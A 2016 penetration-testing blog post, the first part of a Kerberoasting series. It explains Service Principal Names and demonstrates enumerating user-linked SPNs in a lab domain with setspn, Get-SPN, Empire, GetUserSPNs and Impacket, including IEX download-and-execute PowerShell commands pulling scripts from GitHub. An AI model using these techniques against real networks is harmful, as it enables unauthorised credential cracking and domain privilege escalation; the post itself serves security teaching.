Published: 20 May 2016 - 07:35 -0500
Previous works: There has been a number of differnet blog posts, presentations and projects that have happened before this post and I will reference a number of them during the post and at the end have a link to all that I know about. If you know of any works on this subject that I am missing please submit a comment below and I’ll will be sure to reference it.
Attacker KB Link: (to be updated later)
Common Findings DB Link: (to be updated later)
What are SPNs
[Service Principal Names](https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx) (SPNs) are:
a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account." - MSDN
Basically mapping a service running on a server to an account it’s running as so that it can do / accept kerberos authentication. Normally, these services, like “CIFS” (Windows Shares) run under the context of the computer account.
Why would they be associated with users?
I won’t say that this is the reason for the change, but for a long time Information Security professionals (and bad guys) have exploited the idea that services run as the all powerful “NT AUTHORITY\SYSTEM” account. For those who don’t know, this means that if someone exploits one of those services, they are basically ROOT on that machine in the Windows world.
One of the ways that Microsoft has enabled system administrators and software developers to step away from this paradigm is to create the [NT AUTHORITY\NETWORK SERVICE](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684272(v=vs.85).aspx) and [NT AUTHORITY\LOCAL SERVICE](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684188(v=vs.85).aspx) accounts. This allowed basic permissions and are great alternatives. However, these accounts, while perfectly limited, did not have any authentication abilities on the network. So, system administrators started using domain accounts to run services. This is where things go wrong again.
Yes, I know there is such a thing as [Managed Service Accounts](https://technet.microsoft.com/en-us/library/dd560633(v=ws.10).aspx) now (introduced in 2011 with a Windows Server 2008 R2 update) and spoiler alert, that’s the fix to the issue we will be discussing below and in the next few parts, but even MSAs have an issue that I’ll discuss in the last section of this series.
Why should I care?
Any valid domain user can request a kerberos ticket for any domain service (or even services outside the domain as long as there is a trust there). Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. The users running these services usually are at the very least administrators on the computers for which they are a service on, but more commonly they are some sort of administrative account (Domain Admins).
Ok, so, now you know the background and why you want to do this attack, but how do we go about listing what SPNs are out there for the domain you are on. There are a ton of ways to do this:
- Just use the built in
SetSPN.exebuilt into Windows
- Use the Get-SPN.ps1 that @_nullbind (Scott Sutherland) posted about on the NetSPI blog in a post titled Faster Domain Escalation using LDAP
- Use the PowerShell Empire port of @_nullbind’s Get-SPN powershell script
- Use Tim Medin - @timmedin’s GetUserSPNs VB script
- Use Tim Medin - @timmedin’s GetUserSPNs PowerShell script
- Use Impacket’s GetUserSPN.py - unlike the other tools and techniques, this one executes without the advantage of the Windows tokes, so you are going to need credentials, but this is also the advantage as you are not loading anything on disk or executing anything through the use of cmd.exe or powershell.exe
C:\>setspn -t sittingduck -q */* Checking domain DC=sittingduck,DC=info CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info TERMSRV/DC1 TERMSRV/DC1.sittingduck.info Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.sittingduck.info ldap/DC1.sittingduck.info/DomainDnsZones.sittingduck.info ldap/DC1.sittingduck.info/ForestDnsZones.sittingduck.info DNS/DC1.sittingduck.info GC/DC1.sittingduck.info/sittingduck.info RestrictedKrbHost/DC1.sittingduck.info RestrictedKrbHost/DC1 RPC/ebee5e45-e3a3-481d-bf6c-29f3833e2392._msdcs.sittingduck.info HOST/DC1/SITTINGDUCK HOST/DC1.sittingduck.info/SITTINGDUCK HOST/DC1 HOST/DC1.sittingduck.info HOST/DC1.sittingduck.info/sittingduck.info E3514235-4B06-11D1-AB04-00C04FC2DCD2/ebee5e45-e3a3-481d-bf6c-29f3833e2392/sittingduck.info ldap/DC1/SITTINGDUCK ldap/ebee5e45-e3a3-481d-bf6c-29f3833e2392._msdcs.sittingduck.info ldap/DC1.sittingduck.info/SITTINGDUCK ldap/DC1 ldap/DC1.sittingduck.info ldap/DC1.sittingduck.info/sittingduck.info CN=krbtgt,CN=Users,DC=sittingduck,DC=info kadmin/changepw CN=Uber User,CN=Users,DC=sittingduck,DC=info http/win10.sittingduck.info CN=WIN7,CN=Computers,DC=sittingduck,DC=info RestrictedKrbHost/WIN7 HOST/WIN7 RestrictedKrbHost/WIN7.sittingduck.info HOST/WIN7.sittingduck.info CN=WIN2K8R2,OU=Domain Controllers,DC=sittingduck,DC=info TERMSRV/win2k8r2.sittingduck.info TERMSRV/WIN2K8R2 ldap/WIN2K8R2 ldap/win2k8r2.sittingduck.info ldap/win2k8r2.sittingduck.info/DomainDnsZones.sittingduck.info ldap/win2k8r2.sittingduck.info/ForestDnsZones.sittingduck.info ldap/win2k8r2.sittingduck.info/sittingduck.info ldap/win2k8r2.sittingduck.info/SITTINGDUCK ldap/cb4e0d50-5fc3-4900-9bc6-3d097d877ec4._msdcs.sittingduck.info ldap/WIN2K8R2/SITTINGDUCK HOST/win2k8r2.sittingduck.info/sittingduck.info GC/win2k8r2.sittingduck.info/sittingduck.info HOST/win2k8r2.sittingduck.info/SITTINGDUCK HOST/WIN2K8R2/SITTINGDUCK DNS/win2k8r2.sittingduck.info E3514235-4B06-11D1-AB04-00C04FC2DCD2/cb4e0d50-5fc3-4900-9bc6-3d097d877ec4/sittingduck.info Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/win2k8r2.sittingduck.info WSMAN/win2k8r2 WSMAN/win2k8r2.sittingduck.info RestrictedKrbHost/WIN2K8R2 HOST/WIN2K8R2 RestrictedKrbHost/WIN2K8R2.sittingduck.info HOST/WIN2K8R2.sittingduck.info CN=WIN10,CN=Computers,DC=sittingduck,DC=info RestrictedKrbHost/WIN10 HOST/WIN10 RestrictedKrbHost/win10.sittingduck.info HOST/win10.sittingduck.info CN=CA,CN=Computers,DC=sittingduck,DC=info WSMAN/CA WSMAN/CA.sittingduck.info RestrictedKrbHost/CA HOST/CA RestrictedKrbHost/CA.sittingduck.info HOST/CA.sittingduck.info CN=MSSQL Service Admin,CN=Users,DC=sittingduck,DC=info MSSQLSvc/WIN2K8R2.sittingduck.info Existing SPN found!
Each line that starts with “CN” is an account" and the SPNs under it are the ones associated with that account. Lots of great information can be determined just from the output of this command. Even though for cracking purposes we only want the SPNs associated with possibly weak password accounts (usually only User accounts), we should still pull this information down.
This module gives you a lot more information than SetSPN did. Having the PasswordLastSet and LastLogon helps to figure out when and if an account has ever been used. In the example below the “sqladmin01” account has never logged on and was created recently. If this password cracks then there is a good chance that it is some common password set when setting up accounts
Disclaimer: As of this writing, this module only works with PowerShell 3.0+
PS C:\> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/ nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1") PS C:\> Get-SPN -type service -search "MSSQL*" Name : MSSQL Service Admin SAMAccount : sqladmin01 Description : UserPrincipal : email@example.com DN : CN=MSSQL Service Admin,CN=Users,DC=sittingduck,DC=info Created : 5/13/2016 11:13:20 PM LastModified : 5/13/2016 11:13:28 PM PasswordLastSet : 5/13/2016 7:13:20 PM AccountExpires : <Never> LastLogon : 12/31/1600 7:00:00 PM GroupMembership : SPN Count : 1 ServicePrincipalNames (SPN): MSSQLSvc/WIN2K8R2.sittingduck.info
This module basically just incorporates the script from above.
Disclaimer: As of this writing, this module only works with PowerShell 3.0+
(Empire: situational_awareness/network/get_spn) > info Name: Get-SPN Module: situational_awareness/network/get_spn NeedsAdmin: False OpsecSafe: True MinPSVersion: 2 Background: True OutputExtension: None Authors: @_nullbind Description: Displays Service Principal Names (SPN) for domain accounts based on SPN service name, domain account, or domain group via LDAP queries. Options: Name Required Value Description ---- -------- ------- ----------- Search False MSSQL* Search string for group, username, or service name. Wildcards accepted. Type False service 'group', 'user', or 'service' Agent True Agent to run module on. (Empire: situational_awareness/network/get_spn) >
Listing User SPNs
GetUserSPNs was the first script to focus only on accounts that were Users. When you are looking at a network that has 40,000+ Windows boxes and all of the has the “HOST” SPN, it’s a lot to trudge through. This script cuts the fat and just gives you the list of SPNs that have a much higher chance of having their accounts cracked.
C:\temp> cscript GetUserSPNs.vbs Microsoft (R) Windows Script Host Version 5.8 Copyright (C) Microsoft Corporation. All rights reserved. CN=Uber User,CN=Users,DC=sittingduck,DC=info User Logon: uberuser -- http/win10.sittingduck.info CN=krbtgt,CN=Users,DC=sittingduck,DC=info User Logon: krbtgt -- kadmin/changepw CN=MSSQL Service Admin,CN=Users,DC=sittingduck,DC=info User Logon: sqladmin01 -- MSSQLSvc/WIN2K8R2.sittingduck.info
I really like this script because it tells you the time the password was last set. This allows for you to make educated selections on which accounts to attack with your password cracking. (More hashes needed to crack, the longer it takes)
Below I use the
IEX (Invoke-Expression) command in PowerShell to download and run the PowerShell script directly from Tim’s repository, but you could just as easily upload it and run it.
PS C:\> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercon tent.com/nidem/kerberoast/master/GetUserSPNs.ps1') ServicePrincipalNam Name MemberOf PasswordLastSet e ------------------- ---- -------- --------------- http/win10.sitti... Uber User CN=Domain Admins... 11/10/2015 11:47... kadmin/changepw krbtgt CN=Denied RODC P... 11/10/2015 6:18:... MSSQLSvc/WIN2K8R... MSSQL Service Admin 5/13/2016 7:13:2...
Impacket is a recent addition to the list of tools that perform SPN listing. Pull request #153 - TGS-Response code to work with windows AD was all it took to motivate @agsolino into making an example script and while PyKerberoast by @skelsec came first, it doesn’t have a plain “list” function so I wanted to save it for the extraction post.
root@wpad:~/impacket/examples# ./GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin Impacket v0.9.15-dev - Copyright 2002-2016 Core Security Technologies Password: ServicePrincipalName Name MemberOf PasswordLastSet ---------------------------------- ---------- ------------------------------------------------ ------------------- http/win10.sittingduck.info uberuser CN=Domain Admins,CN=Users,DC=sittingduck,DC=info 2015-11-10 23:47:21 MSSQLSvc/WIN2K8R2.sittingduck.info sqladmin01 2016-05-13 19:13:20
And that is it for now. We have listed all of the SPNs or just the ones we needed. In Part 2 we will make requests for the SPN tickets we want.
- Tim Medin’s Slides - [Kicking the Guard Dog of Hades - slides](https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf)
- Tim Medin’s Video - Kicking the Guard Dog of Hades - video